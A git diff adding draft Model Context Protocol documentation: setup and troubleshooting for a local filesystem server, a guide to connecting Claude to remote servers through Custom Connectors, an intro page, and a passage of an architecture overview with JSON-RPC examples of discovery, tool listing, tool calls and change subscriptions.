+* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
+* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
+
+### How Approval Works
+
+Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
+
+
+
+
+
+Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
+
+## Troubleshooting
+
+If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
+
+
+
+ 1. Restart Claude Desktop completely
+ 2. Check your `claude_desktop_config.json` file syntax
+ 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
+ 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
+ 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
+
+
+ ```bash macOS/Linux theme={null}
+ npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
+ ```
+
+ ```powershell Windows theme={null}
+ npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
+ ```
+
+
+
+
+ Claude.app logging related to MCP is written to log files in:
+
+ * macOS: `~/Library/Logs/Claude`
+
+ * Windows: `%APPDATA%\Claude\logs`
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+
+ * Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.
+
+ You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
+
+
+ ```bash macOS/Linux theme={null}
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "%APPDATA%\Claude\logs\mcp*.log"
+ ```
+
+
+
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude Desktop
+
+
+
+ Please refer to our [debugging guide](/docs/draft/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
+
+ ```json theme={null}
+ {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
+ "BRAVE_API_KEY": "..."
+ }
+ }
+ }
+ ```
+
+ With this change in place, launch Claude Desktop once again.
+
+
+ **npm should be installed globally**
+
+ The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
+
+ ```bash theme={null}
+ npm install -g npm
+ ```
+
+
+
+
+## Next Steps
+
+Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
+
+
+
+ Browse our collection of official and community-created MCP servers for
+ additional capabilities
+
+
+
+ Create custom MCP servers tailored to your specific workflows and
+ integrations
+
+
+
+ Learn how to connect Claude to remote MCP servers for cloud-based tools and
+ services
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
diff --git a/content/mcp/docs/draft/develop/connect-remote-servers.md b/content/mcp/docs/draft/develop/connect-remote-servers.md
new file mode 100644
index 000000000..4549f1e41
--- /dev/null
+++ b/content/mcp/docs/draft/develop/connect-remote-servers.md
@@ -0,0 +1,129 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to remote MCP Servers
+
+> Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
+
+Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
+
+Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
+
+## Understanding Remote MCP Servers
+
+Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
+
+The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
+
+## What are Custom Connectors?
+
+Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
+
+With Custom Connectors, you can:
+
+* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
+* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
+
+## Connecting to a Remote MCP Server
+
+The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
+
+
+
+ Open Claude Desktop or Claude in your browser, then navigate to the settings page:
+
+ * **Desktop**: Either use the keyboard shortcut `Ctrl+Comma` or click the top-left menu icon , hover over "File", and select "Settings"
+ * **Browser**: Either use the keyboard shortcut `⌘⇧,` (*macOS*) or click on your profile icon, and select "Settings" from the menu
+
+ Once you're in the settings page, click "Connectors" in the sidebar. This displays your currently configured connectors and provides options for adding new ones.
+
+
+
+ In the Connectors section, click the "Add" button at the top-right of the window, then select "Add custom connector" from the dropdown. This begins the connection process. To follow along, copy/paste the URL below:
+
+ ```text Example Remote Server theme={null}
+ https://example-server.modelcontextprotocol.io/mcp
+ ```
+
+
+
+
+
+ A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
+
+
+
+
+
+ After entering the URL, click "Add" to proceed with the connection.
+
+
+
+ Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
+
+
+
+
+
+ Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
+
+
+
+ After successful connection, the remote server’s resources and prompts become available in your Claude conversations. You can access these by clicking the "Add files, connectors, and more /" indicator in the bottom-left corner of the message input area. Then hover over "Connectors", move the cursor over "Add to Example Remote Server", where hovering displays the attachment menu.
+
+
+
+
+
+ The menu displays all available resources and prompts from your connected server. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
+
+
+
+
+
+
+
+ Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
+
+
+
+
+
+ Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
+
+
+
+## Best Practices for Using Remote MCP Servers
+
+When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
+
+**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
+
+**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
+
+## Next Steps
+
+Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
+
+
+
+ Create custom remote MCP servers to integrate with proprietary tools and
+ services
+
+
+
+ Browse our collection of official and community-created MCP servers
+
+
+
+ Learn how to connect Claude Desktop to local MCP servers for direct system
+ access
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
+
+Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
diff --git a/content/mcp/docs/draft/getting-started/intro.md b/content/mcp/docs/draft/getting-started/intro.md
new file mode 100644
index 000000000..ed7666890
--- /dev/null
+++ b/content/mcp/docs/draft/getting-started/intro.md
@@ -0,0 +1,58 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# What is the Model Context Protocol (MCP)?
+
+MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
+
+Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
+
+Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
+
+
+
+
+
+## What can MCP enable?
+
+* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
+* Claude Code can generate an entire web app using a Figma design.
+* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
+* AI models can create 3D designs on Blender and print them out using a 3D printer.
+
+## Why does MCP matter?
+
+Depending on where you sit in the ecosystem, MCP can have a range of benefits.
+
+* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
+* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
+* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
+
+## Broad ecosystem support
+
+MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
+
+## Start Building
+
+
+
+ Create MCP servers to expose your data and tools
+
+
+
+ Develop applications that connect to MCP servers
+
+
+
+ Build interactive apps that run inside AI clients
+
+
+
+## Learn more
+
+
+
+ Learn the core concepts and architecture of MCP
+
+
diff --git a/content/mcp/docs/draft/learn/architecture.md b/content/mcp/docs/draft/learn/architecture.md
new file mode 100644
index 000000000..6a1fd0655
--- /dev/null
+++ b/content/mcp/docs/draft/learn/architecture.md
@@ -0,0 +1,566 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture overview
+
+This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
+
+Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
+
+For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/draft/sdk).
+
+## Scope
+
+The Model Context Protocol includes the following projects:
+
+* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
+* [MCP SDKs](/docs/draft/sdk): SDKs for different programming languages that implement MCP.
+* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
+* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
+
+
+ MCP focuses solely on the protocol for context exchange—it does not dictate
+ how AI applications use LLMs or manage the provided context.
+
+
+## Concepts of MCP
+
+### Participants
+
+MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
+
+Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.
+
+The key participants in the MCP architecture are:
+
+* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
+* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
+* **MCP Server**: A program that provides context to MCP clients
+
+**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
+When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
+
+```mermaid theme={null}
+graph TB
+ subgraph "MCP Host (AI Application)"
+ Client1["MCP Client 1"]
+ Client2["MCP Client 2"]
+ Client3["MCP Client 3"]
+ Client4["MCP Client 4"]
+ end
+
+ ServerA["MCP Server A - Local (e.g. Filesystem)"]
+ ServerB["MCP Server B - Local (e.g. Database)"]
+ ServerC["MCP Server C - Remote (e.g. Sentry)"]
+
+ Client1 ---|"Dedicated connection"| ServerA
+ Client2 ---|"Dedicated connection"| ServerB
+ Client3 ---|"Dedicated connection"| ServerC
+ Client4 ---|"Dedicated connection"| ServerC
+```
+
+Note that **MCP server** refers to the program that serves context data, regardless of
+where it runs. MCP servers can execute locally or remotely. For example, when
+Claude Desktop launches the [filesystem
+server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
+the server runs locally on the same machine because it uses the STDIO
+transport. This is commonly referred to as a "local" MCP server. The official
+[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
+Sentry platform, and uses the Streamable HTTP transport. This is commonly
+referred to as a "remote" MCP server.
+
+### Layers
+
+MCP consists of two layers:
+
+* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including capability and version discovery, and core primitives, such as tools, resources, prompts and notifications.
+* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
+
+Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
+
+#### Data layer
+
+The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
+This layer includes:
+
+* **Discovery**: Lets clients query a server's supported protocol versions, capabilities, and identity through the `server/discover` request
+* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
+* **Client features**: Enables servers to elicit input from the user. Sampling is [deprecated](/specification/draft/deprecated) as of protocol version `2026-07-28`.
+* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
+
+#### Transport layer
+
+The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
+
+MCP supports two transport mechanisms:
+
+* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
+* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.
+
+The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
+
+### Data Layer Protocol
+
+A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
+
+MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
+
+#### Statelessness and discovery
+
+MCP is a stateless protocol. Every request carries the protocol version and the capabilities relevant to that request in its `_meta` field, so the server can process each request on its own. Clients should also identify themselves in the same field unless configured not to. Servers advertise their supported versions and capabilities through the mandatory [`server/discover`](/specification/draft/server/discover) request, which clients may send before any other request. Detailed information can be found in the [specification](/specification/draft/basic/index#statelessness), and the [example](#example) showcases the per-request metadata and the discovery sequence.
+
+#### Primitives
+
+MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
+
+MCP defines three core primitives that *servers* can expose:
+
+* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
+* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
+* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
+
+Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
+MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
+
+As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
+
+For more details about server primitives see [server concepts](./server-concepts).
+
+MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
+
+* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. Servers request user input with the `elicitation/create` method.
+
+Elicitation requests are delivered through the [Multi Round-Trip Requests](/specification/draft/basic/patterns/mrtr) pattern, explained in the [elicitation overview](/docs/draft/learn/client-concepts#elicitation).
+
+**Deprecated**: The following client primitives are deprecated as of protocol version `2026-07-28`.
+
+* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. Servers request completions with the `sampling/createMessage` method, also delivered through the Multi Round-Trip Requests pattern. New implementations should integrate directly with LLM provider APIs.
+* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes. New implementations should log to `stderr` (stdio transport) or use OpenTelemetry.
+
+For more details about client primitives see [client concepts](./client-concepts).
+
+Besides server and client primitives, the protocol supports optional [extensions](/extensions/overview) that build on the core protocol. For example, the [Tasks extension](/extensions/tasks/overview) lets servers return a durable handle for long-running requests, so clients can poll for status and retrieve the result later.
+
+#### Notifications
+
+The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change (such as when new functionality becomes available or existing tools are modified), the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response). Change notifications are opt-in: the client opens a long-lived [`subscriptions/listen`](/specification/draft/basic/patterns/subscriptions) stream naming the notification types it wants to receive, and the server delivers matching notifications on that stream.
+
+## Example
+
+### Data Layer
+
+This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate discovery, tool operations, and notifications using JSON-RPC 2.0 messages.
+
+
+
+ As described in the [statelessness and discovery](#statelessness-and-discovery) section, every MCP request carries the protocol version and client capabilities in its `_meta` field, and clients should also include their identity there. A client that wants to learn what a server supports before issuing other requests sends a `server/discover` request, which every server must implement. The discovery response is typically cacheable, meaning it can be re-used so the discovery flow does not need to be performed for every request.
+
+
+ ```json Discover Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "server/discover",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ ```json Discover Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "supportedVersions": ["2026-07-28"],
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ },
+ "resources": {}
+ },
+ "_meta": {
+ "io.modelcontextprotocol/serverInfo": {
+ "name": "example-server",
+ "version": "1.0.0"
+ }
+ },
+ "ttlMs": 3600000,
+ "cacheScope": "public"
+ }
+ }
+ ```
+
+
+ #### Understanding the Discovery Exchange
+
+ The `_meta` fields and the discovery response together serve several purposes:
+
+ 1. **Protocol Version Selection**: The `io.modelcontextprotocol/protocolVersion` field declares the version the client is speaking on this request, and `supportedVersions` in the response lists the versions the server accepts. If a server does not support the requested version, it rejects the request with an `UnsupportedProtocolVersionError` listing the versions it does support, and the client retries with a mutually supported version.
+
+ 2. **Capability Discovery**: The client declares its capabilities in `io.modelcontextprotocol/clientCapabilities` on every request, and the server returns its own `capabilities` object from `server/discover`. This tells each party which [primitives](#primitives) the other can handle (tools, resources, prompts) and whether change [notifications](#notifications) are available, so unsupported operations are never attempted.
+
+ 3. **Identity Exchange**: The `io.modelcontextprotocol/clientInfo` field in the request's `_meta` and the `io.modelcontextprotocol/serverInfo` field in the result's `_meta` provide identification and versioning information for debugging and compatibility purposes.
+
+ In this example, the exchange demonstrates how MCP capabilities are declared:
+
+ **Client Capabilities**:
+
+ * `"elicitation": {}` - The client declares it can gather additional input from the user when the server requests it
+
+ **Server Capabilities**:
+
+ * `"tools": {"listChanged": true}` - The server supports the tools primitive and can honor a `toolsListChanged` filter in [`subscriptions/listen`](/specification/draft/basic/patterns/subscriptions). Clients that request this filter receive `notifications/tools/list_changed` when the tool list changes.
+ * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
+
+ Calling `server/discover` is optional. Because every request carries the same `_meta` fields, a client is free to send any request directly and handle a version error if one comes back. Discovery is a convenient way to fetch the server's identity, capabilities, and supported versions in a single request.
+
+ #### How This Works in AI Applications
+
+ The AI application's MCP client manager connects to configured servers and stores their discovered capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. In the Python SDK, discovery happens while the client connects. The results are then available on the client object.
+
+ ```python Pseudo-code for AI application discovery theme={null}
+ # Pseudo Code
+ async with Client(stdio_client(server_config)) as client:
+ if client.server_capabilities.tools:
+ app.register_mcp_server(client, supports_tools=True)
+ app.set_server_ready(client)
+ ```
+
+
+
+ The client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism: it allows clients to understand what tools are available on the server before attempting to use them.
+
+
+ ```json Tools List Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/list",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ ```json Tools List Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "resultType": "complete",
+ "tools": [
+ {
+ "name": "calculator_arithmetic",
+ "title": "Calculator",
+ "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "expression": {
+ "type": "string",
+ "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
+ }
+ },
+ "required": ["expression"]
+ }
+ },
+ {
+ "name": "weather_current",
+ "title": "Weather Information",
+ "description": "Get current weather information for any location worldwide",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name, address, or coordinates (latitude,longitude)"
+ },
+ "units": {
+ "type": "string",
+ "enum": ["metric", "imperial", "kelvin"],
+ "description": "Temperature units to use in response",
+ "default": "metric"
+ }
+ },
+ "required": ["location"]
+ }
+ }
+ ],
+ "ttlMs": 300000,
+ "cacheScope": "public"
+ }
+ }
+ ```
+
+
+ #### Understanding the Tool Discovery Request
+
+ The `tools/list` request requires no parameters beyond the standard `_meta` fields that accompany every MCP request. It also accepts an optional `cursor` parameter for [pagination](/specification/draft/server/utilities/pagination), which the example above omits.
+
+ #### Understanding the Tool Discovery Response
+
+ The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
+
+ Each tool object in the response includes several key fields:
+
+ * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
+ * **`title`**: A human-readable display name for the tool that clients can show to users
+ * **`description`**: Detailed explanation of what the tool does and when to use it
+ * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
+
+ The result is marked `"resultType": "complete"` and carries two caching fields. `ttlMs` is a freshness hint in milliseconds, so this tool list can be cached for five minutes. `cacheScope` indicates who may reuse the response. The specification's [caching utility](/specification/draft/server/utilities/caching) defines the full rules.
+
+ #### How This Works in AI Applications
+
+ The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
+
+ ```python Pseudo-code for AI application tool discovery theme={null}
+ # Pseudo-code using MCP Python SDK patterns
+ available_tools = []
+ for client in app.mcp_clients():
+ tools_response = await client.list_tools()
+ available_tools.extend(tools_response.tools)
+ conversation.register_available_tools(available_tools)
+ ```
+
+ Clients that federate many servers can use [progressive tool discovery](/docs/draft/develop/clients/client-best-practices#progressive-tool-discovery) rather than loading every tool upfront.
+
+
+
+ The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
+
+ #### Understanding the Tool Execution Request
+
+ The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
+
+
+ ```json Tool Call Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "weather_current",
+ "arguments": {
+ "location": "San Francisco",
+ "units": "imperial"
+ },
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ ```json Tool Call Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "resultType": "complete",
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Key Elements of Tool Execution
+
+ The request structure includes several important components:
+
+ 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
+
+ 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
+ * `location`: "San Francisco" (required parameter)
+ * `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
+
+ 3. **`_meta`**: Carries the standard per-request fields: the protocol version and client capabilities that every MCP request must include, plus the client's identity, which clients should include unless configured not to.
+
+ 4. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
+
+ #### Understanding the Tool Execution Response
+
+ The response demonstrates MCP's flexible content system:
+
+ 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
+
+ 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
+
+ 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
+
+ This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
+
+ #### How This Works in AI Applications
+
+ When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
+
+ ```python theme={null}
+ # Pseudo-code for AI application tool execution
+ async def handle_tool_call(conversation, tool_name, arguments):
+ client = app.find_mcp_client_for_tool(tool_name)
+ result = await client.call_tool(tool_name, arguments)
+ conversation.add_tool_result(result.content)
+ ```
+
+
+
+ MCP supports real-time notifications that enable servers to inform clients about changes without being polled for them. This demonstrates the notification system, a key feature that keeps clients synchronized and responsive.
+
+ #### Subscribing to Changes
+
+ Change notifications are opt-in. To receive them, the client opens a long-lived notification stream by sending a [`subscriptions/listen`](/specification/draft/basic/patterns/subscriptions) request with a `notifications` filter naming the event types it wants. Here the client asks for tool list changes:
+
+ ```json Listen Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "method": "subscriptions/listen",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ },
+ "notifications": {
+ "toolsListChanged": true
+ }
+ }
+ }
+ ```
+
+ Every client request carries the `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` fields in `_meta`, and normally `io.modelcontextprotocol/clientInfo` as well, so the server can identify the client without relying on connection state.
+
+ The server acknowledges the subscription with `notifications/subscriptions/acknowledged`, which is the first message carrying that subscription's ID in `_meta` (the server sends no other notification for that subscription before it). Its `notifications` field reflects the subset of the requested filter the server agreed to honor, with unsupported notification types omitted:
+
+ ```json Acknowledgment theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/subscriptions/acknowledged",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 4
+ },
+ "notifications": {
+ "toolsListChanged": true
+ }
+ }
+ }
+ ```
+
+ #### Understanding Tool List Change Notifications
+
